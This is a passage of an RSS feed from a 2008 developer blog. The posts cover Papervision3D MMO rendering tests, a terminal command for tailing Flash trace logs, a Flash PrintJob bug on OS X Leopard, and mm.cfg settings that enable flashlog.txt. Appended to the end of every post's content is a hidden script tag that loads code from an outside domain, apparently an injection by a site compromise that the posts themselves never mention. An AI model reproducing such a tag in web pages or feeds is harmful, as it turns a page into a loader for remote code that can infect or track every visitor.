		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=94</guid>
		<description><![CDATA[I&#8217;m digging into MMOs, now testing papervision2 cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief   ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh?  

Let me know how it runs on your machines  
Stay tuned  
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m digging into MMOs, now testing <a href="http://www.papervision2.com">papervision2</a> cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh? <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.flashfuck.it/test/pv3d_isometry_02" target="_blank"><img class="alignnone" src="http://farm4.static.flickr.com/3230/2918740228_b3c8f49e00.jpg?v=0" alt="cows! :D" /></a></p>
<p>Let me know how it runs on your machines <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/06/cows-in-chaos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MMO Test with Papervision3D + Flash Player 10</title>
		<link>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/</link>
		<comments>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 20:53:55 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[Isometry]]></category>
		<category><![CDATA[MMOs]]></category>
		<category><![CDATA[Papervision 3D]]></category>
		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=91</guid>
		<description><![CDATA[Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).

here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/
this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done  
PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i [...]]]></description>
			<content:encoded><![CDATA[<p>Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).</p>
<p style="text-align: center;"><a title="pv3d_isometric_01" href="http://www.flashfuck.it/test/pv3d_isometry_01/"><img class="aligncenter" src="http://farm4.static.flickr.com/3190/2910715764_4d45e7ef03_m.jpg" alt="pv3d_isometric_01" /></a></p>
<p>here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/</p>
<p>this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i stole it because it&#8217;s good <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (anyway let me know so i can put your name somewhere <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trace on a shell</title>
		<link>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/</link>
		<comments>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/#comments</comments>
		<pubDate>Sat, 30 Aug 2008 14:09:28 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[flashtracer]]></category>
		<category><![CDATA[Mac OSX]]></category>
		<category><![CDATA[trace]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=80</guid>
		<description><![CDATA[Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.
So, let&#8217;s open a trace logger on our terminal&#8230;
To do that the right command is &#8220;tail&#8221; which actually &#8220;[...]Print  the  last [...]]]></description>
			<content:encoded><![CDATA[<p>Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.</p>
<p>So, let&#8217;s open a trace logger on our terminal&#8230;</p>
<p>To do that the right command is &#8220;tail&#8221; which actually &#8220;<a href="http://lowfatlinux.com/linux-tail-manual.html" target="_blank">[...]Print  the  last 10 lines of each FILE to standard output[...]</a>&#8221; and the file to open is located in /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</p>
<p>Then, let&#8217;s do something good and useful with that:</p>
<p>open your TextEdit, cmd+shift+T to switch to plain text, write down this one line command:</p>
<p><code>tail -f /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</code></p>
<p>save the file as &#8220;flashtracer.sh&#8221; and use sh as file extension instead of txt.</p>
<p>then right click on the file, reach the &#8220;open with&#8221; menu and choose &#8220;terminal&#8221; application located inside utility folder. Note: it would be great if you set terminal as default application to open that file <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>ok, now everything&#8217;s ready; double click on flashtracer.sh and start tracing <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Note: remember you&#8217;re in a shell now, so you can clear up the lines with cmd+K&#8230;</p>
<p>I hope it can be useful,</p>
<p>byez <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Flash 3D stress tests</title>
		<link>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</link>
		<comments>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 07:31:18 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Flash Player 9]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</guid>
		<description><![CDATA[I just moved to my fresh new country¬† and started studing for my new job  
I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.
Unfortunately I&#8217;m not a 3D modeler so I had to get models [...]]]></description>
			<content:encoded><![CDATA[<p>I just moved to my <a href="http://en.wikipedia.org/wiki/Switzerland">fresh new country</a>¬† and started studing for my new job <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.</p>
<p>Unfortunately I&#8217;m not a 3D modeler so I had to get models from the web, anyway <a href="http://sketchup.google.com/3dwarehouse/">google sketchup warehouse</a> is a very good resource to collect DAEs (but remember they may be not parsable by ascollada).<br />
For the human model I&#8217;ve just &#8220;stolen&#8221; a walking girl from <a href="http://perso.numericable.fr/chamaslot/anim.php">3Dflasho</a>.<br />
&#8230;and <a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html">here</a>&#8217;s what I got combining the 2 models: a girl walking in a stadium. (girl is automatically walking forward, just use left and right arrows to make her turn)</p>
<p style="text-align: center"><a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html"><img src="http://www.flashfuck.it/wp-content/uploads/2008/06/pv3dstadium.jpg" alt="pv3dstadium.jpg" /></a></p>
<p style="text-align: center"><em>(note: textures are about 7 mb and the whole swf is very cpu intensive)¬†</em></p>
<p>Take a look to the profiler, you can notice that framerate is very low even on a very good machine (i had a value range from 12 to 18 with everything loaded and 26\28 for the girl only on a macbookpro 2.4ghz and flash player 9.0.124 debug).</p>
<p>Next steps for me are:</p>
<p>1) try the same models on Away3D and maybe on Alternativa</p>
<p>2) search for better models (expecially for the stadium which generates too many culling issues on the ground)</p>
<p>3) have a <a href="http://www.thinkgeek.com/caffeine/drinks/a273/">mana potion</a></p>
<p>I hope to get good news from papervision and away3d mailing lists about flash 10 implementations, expecially about both engines&#8217; drawing speed..in the while I&#8217;m going on with my tests <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PrintJob bug on OS X 10.5 Leopard</title>
		<link>http://www.flashfuck.it/2008/06/09/printjob-bug-on-os-x-105-leopard/</link>
		<comments>http://www.flashfuck.it/2008/06/09/printjob-bug-on-os-x-105-leopard/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 14:12:31 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Flash Player 9]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/09/printjob-bug-on-os-x-105-leopard/</guid>
		<description><![CDATA[I accidentally found a bug on PrintJob Class on Mac OS X 10.5 (leopard) using Flash Player 9 (i tried every player 9 release up to 124)

This the fact:
whenever you try to print something using PrintJob.send() you&#8217;ll get a blank sheet instead of the effective Sprite printout.
On previous versions of OS X and on Windows [...]]]></description>
			<content:encoded><![CDATA[<p>I accidentally found a bug on PrintJob Class on Mac OS X 10.5 (leopard) using Flash Player 9 (i tried every player 9 release up to 124)</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2008/06/printjobbug.png" alt="printjobbug.png" /></p>
<p>This the fact:<br />
whenever you try to print something using PrintJob.send() you&#8217;ll get a blank sheet instead of the effective Sprite printout.</p>
<p>On previous versions of OS X and on Windows everything is working fine.</p>
<p>Try to test it using Language Reference&#8217;s example. It seems not to be working even on AS2 swfs.</p>
<p>I just submitted this bug at bugs.adobe.com, if you have access to serverside scripting AlivePDF project can be a good workaround.<br />
If you find any workaround or want to contribute to solve this issue, here&#8217;s the link at adobe bugs: <a href="https://bugs.adobe.com/jira/browse/FP-307">https://bugs.adobe.com/jira/browse/FP-307</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/09/printjob-bug-on-os-x-105-leopard/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>FlashLog.txt not being generated on OSX Leopard</title>
		<link>http://www.flashfuck.it/2008/05/25/flashlogtxt-not-being-generated-on-osx-leopard/</link>
		<comments>http://www.flashfuck.it/2008/05/25/flashlogtxt-not-being-generated-on-osx-leopard/#comments</comments>
		<pubDate>Sun, 25 May 2008 17:42:24 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Mac OSX]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/05/25/flashlogtxt-not-being-generated-on-osx-leopard/</guid>
		<description><![CDATA[I had this nasty problem on my leopard box. I installed flash tracer extension for firefox but nothing was displaied in&#8230;
Normally every traced line is written into flashlog.txt file&#8230;but actually no flashlog file was being generated! so problem wasn&#8217;t on that usefull extension but in flashplayer  configuration.
So, here&#8217;s the solution i found out:
look for [...]]]></description>
			<content:encoded><![CDATA[<p>I had this nasty problem on my leopard box. I installed flash tracer extension for firefox but nothing was displaied in&#8230;</p>
<p>Normally every traced line is written into flashlog.txt file&#8230;but actually no flashlog file was being generated! so problem wasn&#8217;t on that usefull extension but in flashplayer  configuration.</p>
<p>So, here&#8217;s the solution i found out:<br />
look for &#8220;mm.cfg&#8221; file into /Library/Application Support/Macromedia,<br />
then open it with a text editor and write these two lines:<br />
<code><br />
ErrorReportingEnable=1<br />
TraceOutputFileEnable=1</code></p>
<p>Then save and restart flash player ( just restart your browser&#8230;).. Magically flashlog.txt is now being generated and flashtracer start working fine <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>NOTE: if you don&#8217;t find any mm.cfg file just create it with your text editor and put those 2 lines in it <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/05/25/flashlogtxt-not-being-generated-on-osx-leopard/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
